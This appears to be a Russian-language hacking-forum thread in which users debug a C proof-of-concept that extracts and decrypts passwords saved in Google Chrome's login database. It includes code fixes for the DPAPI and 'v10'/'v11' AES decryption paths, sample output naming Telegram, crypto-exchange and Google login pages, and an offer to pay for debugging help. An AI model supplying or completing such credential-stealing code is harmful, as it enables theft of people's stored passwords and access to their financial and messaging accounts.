На заметку Fuck_Chrome_C

[_pCdj_]

Судя по ошибке почему-то не может найти файл базы.

Вообще в данном релизе есть критичные ошибки переполнения памяти, честно нет времени и желания фиксить, т.к. это просто демонстрация концепта и должен-быть переписан для продакшена, напишу тут ошибки:

1)Переполнение памяти, при получении ключа, нужно увеличить буфер до 8Кб:
Найти:

Скопировать в буфер обмена

char decryptedKey[32];

И увеличить:

Скопировать в буфер обмена

char decryptedKey[8192];

2)Кроме "v10" нужно проверять еще "v11":

Скопировать в буфер обмена

 if ((char)password[0] == 'v' && (char)password[1] == '1' && (char)password[2] == '0' || (char)password[2] == '1' ) {

}

3)Переполнение буфера в функции GetNonce:

Найти и удалить строчку:

Скопировать в буфер обмена

GetNonce(decryptedKey, decKeySize, nonce);

4)Нет проверки на nullptr и выходы из цикла по брейку нужны, иначе могут-быть падения:

Скопировать в буфер обмена

        char* url = (char*)sqlite3_column_text(stmt, 0);
        char* username = (char*)sqlite3_column_text(stmt, 1);
        char* password = (char*)sqlite3_column_text(stmt, 2);
        if (url == nullptr) || (username == nullptr) || (password == nullptr) {
        break;
        }

Пофиксил с помощью вашего совета . В целом url и username выводит в читабельном виде , а вот password выводит в не читаемой кодировке - при чём pssword выводиться два раза ( password password ) Вот в одном password не читаемая кодировка ,а второй password как раз таки выводится нормально в читабельном виде. Выводит исключение в этом файле sqlite3.c

 

[X-Shar]

Попробуйте собрать в релизе.

То-что нечитаемый, это скорей-всего дебажный вывод sqllite, в базе пароль шифрованный, а потом он уже расшифровывается и выводится:printf("Password:%s \n", pbOutput);

 

[_pCdj_]

Попробуйте собрать в релизе.

То-что нечитаемый, это скорей-всего дебажный вывод sqllite, в базе пароль шифрованный, а потом он уже расшифровывается и выводится:printf("Password:%s \n", pbOutput);

Пробовал собрать в Release , всё равно не получается. Выводит вот так и всё ,и выводить для тех сайтов которые не сохраняют пароли. Поправил функцию SHGetFolderPath на SHGetSpecialFolderPath ,Так как SHGetFolderPath устарела .Но теперь выводить ошибку в консоль ( printf("GetCromeDbPath error!\n");)

Скопировать в буфер обмена

Url: https://web.telegram.org/
Username:
Password:
Password:
Url: https://exmo.me/
Username:
Password:
Password:
Url: https://login.blockchain.com/
Username:
Password:
Password:
Url: https://accounts.google.com/
Username:
Password:
Password:

 

[Jefferson]

SHGetSpecialFolderPath

Проверь, что возвращает эта функция.
И лучше используй рекурсию, а не прямые пути.

 

[_pCdj_]

Проверь, что возвращает эта функция.
И лучше используй рекурсию, а не прямые пути.

Проверил ,возвращает не валидный путь,тобишь говорит нету такой папки.

 

[X-Shar]

Проверил ,возвращает не валидный путь,тобишь говорит нету такой папки.

Можно для дебага вывести, что за путь передается туда.

Вывод строки:

Скопировать в буфер обмена

printf("%s\n",str)

Вместо str - переменная со строкой...

 

[X-Shar]

Password:
Password:

Фигня какая-то, по коду не должно быть так:
В зависимости от веток-же выводится, либо старая версия хрома:

Скопировать в буфер обмена

if (DPAPIDecrypt((BYTE*)password, passSize, decryptedPass))
{
    printf("Password: %s\n", decryptedPass);
}

Либо новая хрома:

Скопировать в буфер обмена

if ((char)password[0] == 'v' && (char)password[1] == '1' && (char)password[2] == '0')
{
   ****

Больше там принтов нет.

Можете найти там:

Скопировать в буфер обмена

printf("Password: %s\n", decryptedPass);
и
printf("Password:%s \n", pbOutput);

И глянуть в какой строке вывод, похоже поменяли что-то в коде криво.

Распечатать номер строки можно так:

Скопировать в буфер обмена

printf("Password: %s Line = %d\n", decryptedPass,__LINE__);

Либо вручную...

 

[X-Shar]

Обновил репозиторий в гите и поправил ошибки...

 

[_pCdj_]

Обновил репозиторий в гите и поправил ошибки...

Благородное дело.Но Всё таки хз в чём причина . Так же выводит белеберду и падает в отладку ,в отладке я пока что нуб)кто поможет за символическую плату от дебажить ,до нормального состояния .

Скопировать в буфер обмена

Username: _pCdj_
Password: v10(╜PвЇ┘Щ▄K ▌_7ЇРВЮ╗fЬgC¤╩_є/╚┐S[ATTACH type="full"]59705[/ATTACH]
Password:тут к стате выводит пароль в хорошем виде

 

[Jefferson]

Благородное дело.Но Всё таки хз в чём причина . Так же выводит белеберду и падает в отладку ,в отладке я пока что нуб)кто поможет за символическую плату от дебажить ,до нормального состояния .

Скопировать в буфер обмена

Username: _pCdj_
Password: v10(╜PвЇ┘Щ▄K ▌_7ЇРВЮ╗fЬgC¤╩_є/╚┐S[ATTACH type="full"]59705[/ATTACH]
Password:тут к стате выводит пароль в хорошем виде

Первый password - пароль в зашифрованном виде, судя по префиксу "v10". Просто убери вывод этого в консоль